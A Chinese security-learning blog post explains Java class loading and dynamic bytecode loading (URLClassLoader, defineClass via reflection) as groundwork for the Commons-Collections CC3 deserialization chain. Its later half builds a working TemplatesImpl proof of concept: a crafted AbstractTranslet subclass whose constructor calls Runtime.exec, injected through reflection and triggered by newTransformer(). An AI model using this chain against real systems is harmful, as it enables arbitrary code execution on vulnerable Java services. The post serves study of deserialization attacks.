java动态加载字节码

GTL-JU Lv3

一、前言

在前面分析CC1和CC6利用链的时候,都是通过transform之间之间执行命令,但是在cc3中是通过动态类加载来实现自动执行恶意类的代码。然后这里在对cc3利用链分析前,先对java动态加载字节码进行一个学习。

二、java字节码

java字节码是java程序源代码经过编译器(javac)编译生成的中间代码,严格来说,它并不是本地机器代码,而是一种与平台无关的低级指令集。这些指令由java虚拟机(JVM)解释执行,使得java程序可以一次编写,随处执行。使得上层开发者只需将自己的代码编译一次,就可以运行在不同平台的JVM虚拟机中。

我们写的java(.java)程序通过编译器编译成的就是字节码文件(.class)。

1
2
3
4
5
public class helloworld {
public static void main(String[] args) {
System.out.println("hello,world");
}
}

通过编译器进行编译:

1
javac 文件名.java

image-20230731140856122

我们这里通过010打开编译器生成的class文件就可以看到生成的字节码了。

可以看到在我们生成的字节码中包含了常量,访问标志,类信息,字段信息,方法信息,方法代码,以及字节码指令等等这些内容共同构成了java字节码结构,java虚拟机在运行时通过解释这些字节码指令来执行java程序。

具体的关于字节码的每一块的解释可以看看这篇文章:

https://www.jianshu.com/p/fa53b4169df9

下图引自P神java安全漫谈

image-20230731142609856

三、ClassLoader(类加载器)

在上面我们说可以java虚拟机通过解释字节码来执行java程序

但是我们想要通过解释器去解释字节码执行java程序要先将字节码加载到内存中,那么在java虚拟机中将字节码加载到内存中就是通过类加载器。这个JVM的重要组件来实现的。当classloader将字节码加载到内存中,会创建相应的Class对象,然后解释器逐条解释执行这些字节码指令,然后执行对应的操作,并根据指令的结果继续执行下一条指令。解释器的作用是将字节码翻译成实际的操作,实现了 Java 代码在不同平台上的执行。

但是系统程序在启动时,不会一次性加载所有的程序要使用的Class文件到内存中,而是根据程序的需要,通过类加载机制动态将程序要使用的Class文件加载到内存中。只有当class文件杯加载到内存中,才能够被调用。这个机制其实就是类加载机制,也就是classloader(classloader在这里既指类加载器也指类加载机制)。

classloader类的核心方法:

  1. loadClass(加载指定的Java类)
  2. findClass(查找指定的Java类)
  3. findLoadedClass(查找JVM已经加载过的类)
  4. defineClass(定义一个Java类)
  5. resolveClass(链接指定的Java类)

classLoader的分类

在java中,类加载器根据加载类的方式和范围,可以分为以下几种类型:

1、引导类加载器(Bootstrap ClassLoade): 它是 JVM 的一部分,是最顶层的类加载器,负责加载 Java 核心类库,如 java.lang.* 等。引导类加载器是用本地代码实现的,无法在 Java 程序中直接获取它的引用。由于它是 JVM 内置的,无需实现,其加载路径为 JVM 的系统类路径(JRE/lib/*)。

2、扩展类加载器(Extension ClassLoader):它是 sun.misc.Launcher$ExtClassLoader,负责加载 Java 扩展目录(jre/lib/ext)下的类库。Java 扩展目录是 JVM 预定义的,用于存放供 JVM 扩展使用的类库。扩展类加载器的父类加载器是引导类加载器。

3、应用程序类加载器(Application ClassLoader): 它是 sun.misc.Launcher$AppClassLoader,也称为系统类加载器。应用程序类加载器负责加载应用程序类路径(CLASSPATH)上指定的类库,包括用户自定义的类和第三方库。应用程序类加载器的父类加载器是扩展类加载器。

4、自定义加载器(Custom ClassLoader):开发人员可以通过继承 ClassLoader 类,自定义自己的类加载器。自定义类加载器允许实现特定的类加载需求,例如从网络、数据库或其他来源动态加载类。自定义类加载器需要重写 findClass 方法来定制类的加载逻辑,并通常还会重写 loadClass 方法来实现自定义加载策略。其实也就是用户自定义。

双亲委派机制

上面我们介绍了clasloader的加载器分类:

然后我们这里了解一下类加载的双亲委派

下面我们通过一张图来介绍双亲委派模型:

image-20230731160759360

双亲委派机制

分为委托阶段和派发阶段:

委托阶段:

当一个类被加载的时候首先会先判断自己是否已经加载,如果加载了之间返回相应的对象,如果没有被加载,则委托给父类加载器。父类加载器同样也是判断是否加载,同样未加载的话,委托给其父类加载器,直至到达顶层的类加载器引导类加载器(Bootstrap ClassLoade),相应的加载了就返回相应对象,如果直到引导层加载器都未加载成功,说明类未加载,这时就会进入派发阶段,查找并加载类。

派发阶段:

当到达引导类加载器,bootstrapClassLoader 会去对应的目录下(%JAVA_HOME%jre/lib/)搜索该类,找到了就加载类,未能找到就派发给子类加载器进行加载,子类执行的也是执行同样的操作,搜索这个类,有的话加载类,没有继续派发给子类加载器。

根据这个模型我们可以看到最终会到达自定义加载器,如果自定义加载器也未能加载成功就会抛出ClassNotFoundException 异常并退出。

综合来说就是,当我们加载一个类的时候会先判断自己是否加载,加载的话就直接返回,没加载就调用父类加载器,直到引导类加载器都没有加载成功,在调用子类加载器进行加载,直到调用到自定义加载器。

我们这里结合loaderclass代码进行具体分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) { //双亲委派
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

首先通过findLoadedClass(name)方法检查类是否已经加载了,如果加载了就直接返回,不会重复加载,没有加载就做加载处理,

1
2
3
4
5
6
7
8
9
10
11
12
if (c == null) {
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

如果类未被加载,首先优先尝试使用父类加载器即调用 parent.loadClass(name, false)(这里其实也就是双亲委派加载机制);方法parent是当前加载的父类加载器。同样父类加载器在加载类时也会按同样的方法进行。

如果父类加载器加载成功,返回相应的class对象 c。

如果未加载成功,继续调用父类的父类加载器直到尝试调用引导类加载器,这里即调用findBootstrapClassOrNull(name),这里关于引导类加载器我们上面有介绍。同样的加载成功返回对象c,如果引导类加载器也未能加载成功,说明类既不在父类加载器中,也不在引导类加载器中,表面类还未加载。

则会调用findClass(name) 方法

我们这里跟进到findclass方法:

image-20230731154334733

我们可以看到findClass方法里面是空的,也就是未定义,其实这里就是要用户自己去定义实现的,也就是我们上面说的用户自定义加载器。如果Classloader中并没有重写findClass方法则会抛出异常。如果重写了findClass方法,则会根据重写的逻辑查找类名,并加载字节码,返回对象的class对象.

优点:避免重复加载某些类,当父加载器已经加载了某个类后,子加载器不会重复加载。
双亲委派模型可以提供类加载的安全性。由于类加载是从上到下依次委派的,子类加载器只有在父类加载器无法加载指定类时才会尝试加载。这样可以避免恶意代码替换系统类,防止不信任的类替代核心类库,提高了系统的安全性。

下面我们了解一下类加载的具体过程:

类加载的方式

java虚拟机启动时加载java类文件的两种方式:

1、隐式加载:隐式加载是指 JVM 在启动时自动加载需要的类到内存中。这些类通常包括 Java 核心类库(如 java.lang.* 等)和一些基础类,它们在 JVM 启动过程中会被预先加载,以确保 JVM 的正常运行。这些类由引导类加载器(Bootstrap ClassLoader)负责加载,它是 JVM 的一部分,是最顶层的类加载器,使用本地代码实现,无法在 Java 程序中直接获取其引用。

2、显式加载:显式加载是指在 Java 程序运行时通过代码显式地加载类。Java 程序可以使用类加载器(ClassLoader)来加载额外的类,比如用户自定义的类或第三方库。应用程序类加载器(Application ClassLoader)是负责加载应用程序类路径(CLASSPATH)上指定的类库,包括用户自定义的类和第三方库。开发人员也可以通过继承 ClassLoader 类来实现自定义的类加载器,以实现特定的类加载需求。

通过上面的概念我们可以理解为动态加载,即通过反射,或CLassloader动态加载class文件,而隐式加载new类实列,java.lang.Object,基础数据类型的包装类、基于异常数据的包装类等等这些。

类加载的过程

上面我们了解了类加载的两种方式,下面我们具体分析一下类加载的过程:

  1. 加载(Loading): 加载是类加载的第一个阶段,它是将类的字节码文件(通常是以 .class 后缀的文件)从磁盘或网络加载到内存中的过程。加载过程由类加载器(ClassLoader)来完成。类加载器根据类的全限定名(包括包名和类名)查找类的字节码文件,然后读取字节码文件,并创建对应的 Class 对象。
  2. 连接(Linking): 连接是类加载的第二个阶段,它包括三个子阶段:验证、准备和解析。
    • 验证(Verification): 在验证阶段,JVM 将对加载的字节码进行验证,以确保字节码是合法、符合规范的。验证阶段主要包括类型检查、字节码验证、符号引用验证等,用于确保字节码的正确性和安全性。
    • 准备(Preparation): 在准备阶段,JVM 为类的静态变量(类变量)分配内存,并设置默认初始值。这些静态变量会在类加载完成后被初始化为指定的初始值。注意,实例变量在这个阶段并不会被赋予初值,它们会在对象实例化时进行初始化。
    • 解析(Resolution): 在解析阶段,JVM 将符号引用替换为直接引用。符号引用是一种在字节码中使用的符号来表示目标类或方法的引用,而直接引用是指向目标的真实指针或句柄。解析过程将符号引用转换为直接引用,以便在后续的执行中能够直接定位目标类或方法。
  3. 初始化(Initialization): 初始化是类加载的最后一个阶段,在这个阶段,JVM 执行类的初始化代码,为静态变量赋予正确的初始值,并执行类中定义的静态初始化块。类的初始化是在类加载的最后阶段进行的,只有在真正使用类时才会触发初始化,例如创建类的实例、调用类的静态方法、访问类的静态变量等。初始化阶段可以包括复杂的逻辑和代码,这取决于类的定义和开发人员编写的初始化代码。

四、动态加载字节码

上面我们对classloader进行了学习,然后这里我们正式开始学习java如何动态加载字节码

URLClassLoader加载远程class文件

image-20230731165428773

可以看到URLclassloader是继承 SecureClassLoader类的

image-20230731165439886

而这里的 SecureClassLoader是继承了CLassloader类的,而且这个URLclassloader是我们上面介绍的应用程序加载器(appclassloader)的父类

image-20230731165933112

我们在上面双亲委派机制中说过,会先父类查询父类是否加载,直到引导下型加载器都未加载,开始从引导型加载器开始搜索类进行加载,引导型没有找到,子类进行查找加载,直到自定义加载器。

但是这个搜索是怎么搜索的呢?

以下内容引自P神java安全漫谈

正常情况下,Java会根据配置项 sun.boot.class.pathjava.class.path 中列举到的基础路径(这
些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

  • URL未以斜杠 /结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
  • URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
  • URL以斜杠 /结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

我们这里通过http协议进行测试:

1
2
3
4
5
6
7
8
9
10
11
import java.net.URL;
import java.net.URLClassLoader;
public class HelloClassLoader {
public static void main( String[] args ) throws Exception
{
URL[] urls = {new URL("http://localhost:8000/")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
}
}

编译一个class文件放在服务器所在目录

1
2
3
4
5
public class Hello {
static{
System.out.println("Hello,world");
}
}

我这里之间在class文件所在开一个服务

image-20230731171312206

image-20230731171405819

可以看到成功加载到远程服务器上面的class文件,并执行了字节码输出了我们定义的helloworld

ClassLoader#defineClass() 加载字节码

我们这里在回顾一下双亲委派的实现代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Class<?> c = findLoadedClass(name);
if (c == null) { //双亲委派
long t0 = System.nanoTime();
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}

if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}

我们在双亲委派中学习了,在加载一个类时首先会先调用findLoadedClass(name)方法检查是否已经加载了对应名称的类,如果未加载会调用父类加载器通过loadclass来加载类

直到顶层加载器都不能加载成功,子类加载器会开始搜索类进行加载,这里使用的就是findclass(name)方法来查找加载类(类似我们上面的URLClassLoader),如果子类也不能加载继续调用子类加载器,直到调用到自定义加载器。当加载到类后会调用defineclass方法,并将字节码的字节数组、类名等信息传递给该方法。defineClass 方法会在 JVM 中将这些字节码转换为一个 Java 类的 Class 类,并将其加入到类加载器的类命名空间中。

其实前面两个loadclass和findclass都是在查找加载类,而defineclass才是真正的核心。

也就是说define将加载的字节码转换为一个java类。

那么根据上面的分析,不论是加载什么class文件都会经历这三个方法的调用:

1
CLassloader#CLassloader#loadclass======> CLassloader#CLassloader#findclass(name)========>CLassloader#dCLassloader#efineclass

我们这里看一下clasLoader类中的defineclass方法:

1
2
3
4
5
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

可以看到defineclass是一个受保护的方法,我们不能够直接调用,所以我们如果要外部调用的话,这里要通过反射来获取这个defineclass方法。

接收三个参数,一个字符方法名,一个字节数组,一个偏移量一个长度

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
import java.lang.reflect.Method;
import java.util.Base64;

public class HelloDefineClass {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);
hello.newInstance();
}
}

这里的code就是字节码

ClassLoader.getSystemClassLoader()获取系统类加载器实例,返回一个classloader对象

然后调用sefineclass方法对字节码进行处理转换为java类

运行结果:

image-20230731180256672

这里要注意的是defineclass被调用的时候,类对象不会被初始化,只有显式调用构造函数,初始化代码才会被执行,而且即使我们的代码放到类的静态代码块中也无法直接被调用到,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

利用TemplatesImpl加载字节码

上面我们分析了defindclass加载字节码,但是我们defineclass这个方法是受保护的方法,不能够直接被调用,所以这里我们不能够直接调用。

那么我们要想使用这个方法执行任意代码就要向上找调用:

image-20230731181531200

虽然大多数开发者不会直接使用defineclass方法,但是在java的一些底层方法中还是有调用了defineclass的

我们这里利用的是TemplatesImpl

TemplatesImpl的TransletClassLoader类中重写了defineclass方法

跟进到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

而且这里并没有显式的声明其定义域。在java中如果一个方法没有显式的声明作用域,那么其作用域为default。那么这里的defineclass方法就由父类的protected变成了一个default类型的方法。

那么我们就要在TemplatesImpl中看一下哪里调用了defineclass

image-20230731183014046

根据查找用法我们可以在defineTransletClasses()中找到调用

但是这个是一个私有方法,不能直接调用,继续向上找调用:

image-20230731183214197

getTransletInstance()同样是一个私有方法,继续向上找调用:

image-20230731183356861

在newTransformer中可以找到对getTransletInstance()的调用,而且newTransformer是一个公有方法,那么我们这里外部可以直接调用,那么利用链就到这里结束了。

这里给出利用链:

1
2
3
4
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()

但是这只是利用链,我们要想要利用这条链,就要解决细节部分,写出POC实现利用:
我们继续回到newTransformer()的getTransletInstance()

1
2
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

image-20230731184214068

根据代码我们可以看到当_name不为空,_class为空时才能够调用defineTransletClasses()方法

但是默认情况下这两个参数都为空

image-20230731184353198

所以我们这里想要调用defineTransletClasses()方法就要修改_name不为空

然后我们在类中可以找到它的构造器:

1
public TemplatesImpl() { }

那么我们这里就可以通过反射去修改属性值:

即:

1
2
3
        Field field = obj.getClass().getDeclaredField(fieldName);//获取class对象后获取定名称 fieldName 的属性的 Field 对象
       field.setAccessible(true);//设置 Field 对象的 accessible 属性为 true使我们可以修改属性值
       field.set(obj,value);//修改值

这里由于要修改的很多,所以我们这里直接定义一个方法来简化我们的代码:

1
2
3
4
5
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj,value);
  }

那么我们的POC为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;

public class ces {
public static void main(String[] args) throws Exception {
Templates templates=new TemplatesImpl();
setFieldValue(templates,"_name","111");


}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

继续跟进到defineTransletClasses():

image-20230731190017497

我们这里先看一下我们要调用的defineClass()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

我们在调用defineclass方法时还传入了一个字节数组_bytecodes[i]

那么结合前面这里这个字节数组就是我们要传入的字节码

那么其实这个就是实现了遍历字节数组取出当中的字节码,然后传入defineclass进行处理

但是我们不可能调用defineTransletClasses()就能够直接调用到defineClass

我们这里分析一下上面的代码逻辑:

1
2
3
4
5
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

首先一个是对_bytecodes判断是否为空,这里的_bytecodes其实就是我们的字节码数组,那么我们这里把我们的字节码赋值给_bytecodes就可以使其不为空

我们这里还是通过反射去修改属性值:

1
2
3
Field filed = templates.getClass().getDeclaredField("_bytecodes");
filed.setAccessible(true);
filed.set(templates, "字节码");
1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

或者是直接加载远程或者本地class文件:

1
2
3
byte[] code = Files.readAllBytes(Paths.get("E:\\Coding\\Java\\CC\\target\\classes\\EvilTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(obj, "_bytecodes", new byte[][] {code});

其实效果都是一样的。

然后是一个run方法

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

这里有一个_tfactory,因为用到了这个参数所以我们要给这个参数赋值,不然这里就会报错

image-20230802171846688

transient 关键字是 Java 中的一个修饰符,用于标记变量,表示该变量在对象的序列化过程中不会被持久化,即不会被写入到字节流中,从而在反序列化后该变量的值会被重新初始化。

所以说我们这里给这个参数去赋值时没有意义的,因为当他在被反序列化的时候又被重新初始化了。
那我们直接跟进到readobject中去看一下:

image-20230802172251738

可以看到在反序列化的时候是会给这个参数赋值的

但是我们这里要使用这个参数

所以我们这里可以通过反射随便给它赋值,因为无论我们赋什么值,这里在反序列化的时候的值是不会改变的

然后我们这里为了方便直接赋值new TransformerFactoryImpl,方便我们后面调试,因为我们利用链到这里还不会进行反序列化,所以我们这里先赋值给它。

1
2
3
Field filed = templates.getClass().getDeclaredField("_tfactory");
filed.setAccessible(true);
filed.set(templates, "new TransformerFactoryImpl");

然后我们这里为了简化代码,直接把反射修改属性值这一部分代码定义一个函数:

1
2
3
4
5
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}

那么到这里我们的POC可以编写为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;

public class cc3 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("字节码base64编码");
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

那么正常情况下,我们这里应该已经可以正常进行命令执行

那么我们这里编写一个命令执行的恶意代码类:

1
2
3
4
5
6
7
8
9
10
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");

}catch (Exception e){
e.printStackTrace();
}
}
}

然后编译一下把字节码base64编码一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class bianma {
public static void main(String[] args) {
String filePath = "D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class\\";

try {
byte[] classBytes = readClassFile(filePath);
String base64Encoded = convertToBase64(classBytes);
System.out.println(base64Encoded);
} catch (IOException e) {
e.printStackTrace();
}
}

private static byte[] readClassFile(String filePath) throws IOException {
try (FileInputStream fis = new FileInputStream(filePath);
ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[4096];
int bytesRead;
while ((bytesRead = fis.read(buffer)) != -1) {
baos.write(buffer, 0, bytesRead);
}
return baos.toByteArray();
}
}

private static String convertToBase64(byte[] data) {
return Base64.getEncoder().encodeToString(data);
}
}

我们直接把我们的POC运行一下:

但是并没有执行命令

image-20230802175110466

然后是报了一个空指针错误在defineTranslectClasses里面

但是这个不太好找

然后我们这里打断点跟进调试一下:

image-20230802175023651

跟进

image-20230802175259884

然后我们可以看到这里类加载是已经成功了

然后我们继续跟进

image-20230802175419393

然后我们可以看到就是在这个if判断里面报了一个空指针错误

然后这个if就是检查我们传入字节码是不是ABSTRACT_TRANSLET的子类

然后是的话会对_transletIndex进行一个赋值,不是的话,就会跳转到我们报空指针错误的地方

那我们这里解决办法有两个:

1、给_auxCLasses赋值,解决这个空指针报错

2、使if判断为真也就是我们传入的字节码为ABSTRACT_TRANSLET的子类

但是我们往下看还有一个if判断:

1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

这里也就是_transletIndex 值小于0就直接抛出异常

而且我们现在的_transletIndex 值是-1

所以我们给_auxCLasses赋值不可行,因为这样无法过第二个if,仍然会报错

所以我们这里要使我们传入的字节码为ABSTRACT_TRANSLET的子类

image-20230802180950718

跟进到这个类里面

image-20230802180931720

可以看到这个类是一个抽象类,那他的子类就要实现它的抽象方法

image-20230802181053462

所以我们构造的恶意类就要实现这个transform抽象方法

那我们这里重新构造一个恶意类

1
2
3
4
5
6
7
8
9
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

那么我们的POC就可以构造为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class blog {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] code = Files.readAllBytes(Paths.get("D:\\MAVEN\\maven-repository\\cc6\\cc61\\src\\main\\java\\leijiazai\\HelloTemplatesImpl.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates,"_name","111");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field filed = obj.getClass().getDeclaredField(fieldName);
filed.setAccessible(true);
filed.set(obj, value);
}
}

image-20230802181259643

可以看到已经成功运行了。但是这里我们并没有进行newInstance(),但是依然弹出了计算器,

那我们这里就打断点整体分析一下:

image-20230731194144950

可以看到这里是显调用了run方法创建一个TransletClassLoader 对象对象

继续跟进:

image-20230731194232897

由于我们这里只传入了一个字节数组,所以这里的_bytecodes.length的值就为1,赋值给classCount

1
_class = new Class[classCount];

继续跟进:

image-20230731194642542

可以看到这里第一轮循环,处理了我们传入的字节数组,然后经过if判断将i的值0赋值给了_transletIndex

然后就步出回到了getTransletInstance()

image-20230731194955697

可以看到这里调用了_class[0]的newInstance()方法,弹出计算器

所以这就是我们为什么不用再newinstace的原因了。

利用链:

1
2
3
4
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses()->
TransletClassLoader#defineClass()

利用BCEL ClassLoader加载字节码

这里等分析完cc3再来学习

这里可以参考P牛的文章:

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

  • 标题: java动态加载字节码
  • 作者: GTL-JU
  • 创建于: 2023-07-31 20:49:24
  • 更新于: 2023-08-02 20:06:28
  • 链接: https://gtl-ju.github.io/2023/07/31/java动态加载字节码/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。